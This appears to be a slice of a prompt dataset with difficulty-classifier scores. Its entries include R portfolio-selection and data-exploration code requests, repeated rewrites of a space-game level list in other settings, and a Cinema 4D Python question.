YOu know i have in total 15 assets then from that i have to select 5 with condition that Atleast one Commodity and one Forex…Stocks - Google, Tesla, Pfizer, Shell, AT&T Forex - USDINR, EURUSD, USDCAD, USDCHF, NZDUSD Commodities - Crude, Natural Gas, Gold, Wheat, Ethanol…Q2. Marks - 10 Portfolio Universe Selection Since, you have to make a Portfolio constituting of five assets only, you select the assets based on the basis of two strategies as shared below. Strategy 1: Step 1: Calculate the Reward to Risk - (Median Return/Standard Deviation) Step 2: Rank the Reward to Risk for Assets, then choose the top five asset while maintaining the constraint (Atleast one Commodity and one Forex) Note: In case of tie, you choose the asset with higher mean return. Strategy 2: Based on Price/Earning Ratio while maintaining the constraint (Atleast one Commodity and one Forex) Note: After filtering the 5 assets, export the file either as .csv or .xlsx Insert the code chunk below…I want code in R…
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45,575
Write a descriptive, fictional, imaginative screenplay set in this world "
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45,576
Rewrite this but it's set in RDR2, keep the original format “ ### SUN ### {I} “a burning memory” (Space Station) ### MERCURY ### {I} “A New Genesis” {II} “Sword fight on the heights” {III} “The Mentor” (boss battle) {IV} “The Mercury Nexus” (Space Station) ### VENUS ### {I} “Acid’s reign” {II} “Zeppelin Wars” {III} “Lovely Bastards” (boss battle) {IV} “Infernal cradle” (Space Station) ### EARTH ### {I} “Paradise Lost” {II} “Revelation’s echoes” {III} “Their Former Eden” (boss battle) {IV} “Among The Stars” (Space Station) ### MARS ### {I} “God of War” {II} “War of the Worlds” {III} “Ozymandias” (boss battle) {IV} “Martian Bastion” (Space Station) ### EUROPA ### {I} “潜水艦戦争” {II} “Frozen Neon” {III} “Big Red Spot” (boss battle) {IV} “By Jove!” (Space Station) ### TITAN ### {I} “The Capitol” {II} “Methane Sea” {III} “Crossroads” (boss battle) {IV} “Titanic” (Space Station) ### UMBRIEL ### {I} “Shadow’s Crescent” {II} “Dusk’s Embrace” {III} “Nocturne’s Veil” (boss battle) {IV} “Umbriel Enclave” (Space Station) ### TRITON ### {I} “Neptune’s Forge” {II} “Frozen Cathedral” {III} “Triton’s Sorrow” (boss battle) {IV} “Solar Drift” (Space Station) ### PLUTO ### {I} “Abandon All Hope” {II} “Twin Moons” {III} “Calm Before The Storm” (no enemies) <code class=”} “AT HELL’S GATE” (final boss)
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45,577
Rewrite this but it was written in ancient biblical times, keep the original format “ ### SUN ### {I} “a burning memory” (Space Station) ### MERCURY ### {I} “A New Genesis” {II} “Sword fight on the heights” {III} “The Mentor” (boss battle) {IV} “The Mercury Nexus” (Space Station) ### VENUS ### {I} “Acid’s reign” {II} “Zeppelin Wars” {III} “Lovely Bastards” (boss battle) {IV} “Infernal cradle” (Space Station) ### EARTH ### {I} “Paradise Lost” {II} “Revelation’s echoes” {III} “Their Former Eden” (boss battle) {IV} “Among The Stars” (Space Station) ### MARS ### {I} “God of War” {II} “War of the Worlds” {III} “Ozymandias” (boss battle) {IV} “Martian Bastion” (Space Station) ### EUROPA ### {I} “潜水艦戦争” {II} “Frozen Neon” {III} “Big Red Spot” (boss battle) {IV} “By Jove!” (Space Station) ### TITAN ### {I} “The Capitol” {II} “Methane Sea” {III} “Crossroads” (boss battle) {IV} “Titanic” (Space Station) ### UMBRIEL ### {I} “Shadow’s Crescent” {II} “Dusk’s Embrace” {III} “Nocturne’s Veil” (boss battle) {IV} “Umbriel Enclave” (Space Station) ### TRITON ### {I} “Neptune’s Forge” {II} “Frozen Cathedral” {III} “Triton’s Sorrow” (boss battle) {IV} “Solar Drift” (Space Station) ### PLUTO ### {I} “Abandon All Hope” {II} “Twin Moons” {III} “Calm Before The Storm” (no enemies) <code class=”} “AT HELL’S GATE” (final boss)
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45,578
Using Cinema 4D Xpresso Python node, I would like to get connect object size values as x,y,z
e753a2ba086ebb00148ce5e515db4aa4
{ "intermediate": 0.6057921648025513, "beginner": 0.16547542810440063, "expert": 0.22873243689537048 }
45,579
Rewrite this but it's set in GTA 5, keep the original format “ ### SUN ### {I} “a burning memory” (Space Station) ### MERCURY ### {I} “A New Genesis” {II} “Sword fight on the heights” {III} “The Mentor” (boss battle) {IV} “The Mercury Nexus” (Space Station) ### VENUS ### {I} “Acid’s reign” {II} “Zeppelin Wars” {III} “Lovely Bastards” (boss battle) {IV} “Infernal cradle” (Space Station) ### EARTH ### {I} “Paradise Lost” {II} “Revelation’s echoes” {III} “Their Former Eden” (boss battle) {IV} “Among The Stars” (Space Station) ### MARS ### {I} “God of War” {II} “War of the Worlds” {III} “Ozymandias” (boss battle) {IV} “Martian Bastion” (Space Station) ### EUROPA ### {I} “潜水艦戦争” {II} “Frozen Neon” {III} “Big Red Spot” (boss battle) {IV} “By Jove!” (Space Station) ### TITAN ### {I} “The Capitol” {II} “Methane Sea” {III} “Crossroads” (boss battle) {IV} “Titanic” (Space Station) ### UMBRIEL ### {I} “Shadow’s Crescent” {II} “Dusk’s Embrace” {III} “Nocturne’s Veil” (boss battle) {IV} “Umbriel Enclave” (Space Station) ### TRITON ### {I} “Neptune’s Forge” {II} “Frozen Cathedral” {III} “Triton’s Sorrow” (boss battle) {IV} “Solar Drift” (Space Station) ### PLUTO ### {I} “Abandon All Hope” {II} “Twin Moons” {III} “Calm Before The Storm” (no enemies) <code class=”} “AT HELL’S GATE” (final boss)
b7dd83f8d2b29747a865c62c00b03119
{ "intermediate": 0.3178431987762451, "beginner": 0.37079036235809326, "expert": 0.3113664984703064 }
45,580
# Recalculate with explicit column creation for RewardToRisk assets <- assets %>% mutate(RewardToRisk = MedianReturn / StandardDeviation) # Now proceed with Strategy 1 selection, ensuring the RewardToRisk column exists. strategy1_selection <- assets %>% arrange(desc(RewardToRisk)) %>% group_by(Category) %>% mutate(rank = row_number()) %>% ungroup() %>% filter((Category == “Forex” & rank == 1) | (Category == “Commodities” & rank == 1) | Category == “Stocks”) %>% arrange(desc(RewardToRisk)) %>% head(5) if(nrow(filter(strategy1_selection, Category == “Forex”)) < 1 || nrow(filter(strategy1_selection, Category == “Commodities”)) < 1){ print(“Adjust selection to meet criteria”) } else { print(“Strategy 1 Selection:”) print(strategy1_selection) } # Attempt Strategy 2 selection strategy2_selection <- assets %>% arrange(PERatio) %>% group_by(Category) %>% mutate(rank = row_number()) %>% ungroup() %>% filter((Category == “Forex” & rank == 1) | (Category == “Commodities” & rank == 1) | Category == “Stocks”) %>% arrange(PERatio) %>% head(5) if(nrow(filter(strategy2_selection, Category == “Forex”)) < 1 || nrow(filter(strategy2_selection, Category == “Commodities”)) < 1){ print(“Adjust selection to meet criteria”) } else { print(“Strategy 2 Selection:”) print(strategy2_selection) } # Export (Choose accordingly based on your selected strategy) write.csv(strategy1_selection, “Strategy1Selection.csv”) write.csv(strategy2_selection, “Strategy2Selection.csv”) # Use write.xlsx for .xlsx files, but that requires the openxlsx or writexl package. Continuing above Perform Data exploration {Correlation, Histogram, Q-Q plot, Box-plot} on the chosen assets for the two strategies and draw an inference from it. Insert the code chunk below.
d6a140d43d5276bae44b99a3688004b3
{ "intermediate": 0.446562796831131, "beginner": 0.23510310053825378, "expert": 0.31833404302597046 }
45,581
Rewrite this but every word is the exact opposite, keep the original format “ ### SUN ### {I} “a burning memory” (Space Station) ### MERCURY ### {I} “A New Genesis” {II} “Sword fight on the heights” {III} “The Mentor” (boss battle) {IV} “The Mercury Nexus” (Space Station) ### VENUS ### {I} “Acid’s reign” {II} “Zeppelin Wars” {III} “Lovely Bastards” (boss battle) {IV} “Infernal cradle” (Space Station) ### EARTH ### {I} “Paradise Lost” {II} “Revelation’s echoes” {III} “Their Former Eden” (boss battle) {IV} “Among The Stars” (Space Station) ### MARS ### {I} “God of War” {II} “War of the Worlds” {III} “Ozymandias” (boss battle) {IV} “Martian Bastion” (Space Station) ### EUROPA ### {I} “潜水艦戦争” {II} “Frozen Neon” {III} “Big Red Spot” (boss battle) {IV} “By Jove!” (Space Station) ### TITAN ### {I} “The Capitol” {II} “Methane Sea” {III} “Crossroads” (boss battle) {IV} “Titanic” (Space Station) ### UMBRIEL ### {I} “Shadow’s Crescent” {II} “Dusk’s Embrace” {III} “Nocturne’s Veil” (boss battle) {IV} “Umbriel Enclave” (Space Station) ### TRITON ### {I} “Neptune’s Forge” {II} “Frozen Cathedral” {III} “Triton’s Sorrow” (boss battle) {IV} “Solar Drift” (Space Station) ### PLUTO ### {I} “Abandon All Hope” {II} “Twin Moons” {III} “Calm Before The Storm” (no enemies) <code class=”} “AT HELL’S GATE” (final boss)
42d49bee459c55203bc4404bfd5472ae
{ "intermediate": 0.28891342878341675, "beginner": 0.47290515899658203, "expert": 0.2381814420223236 }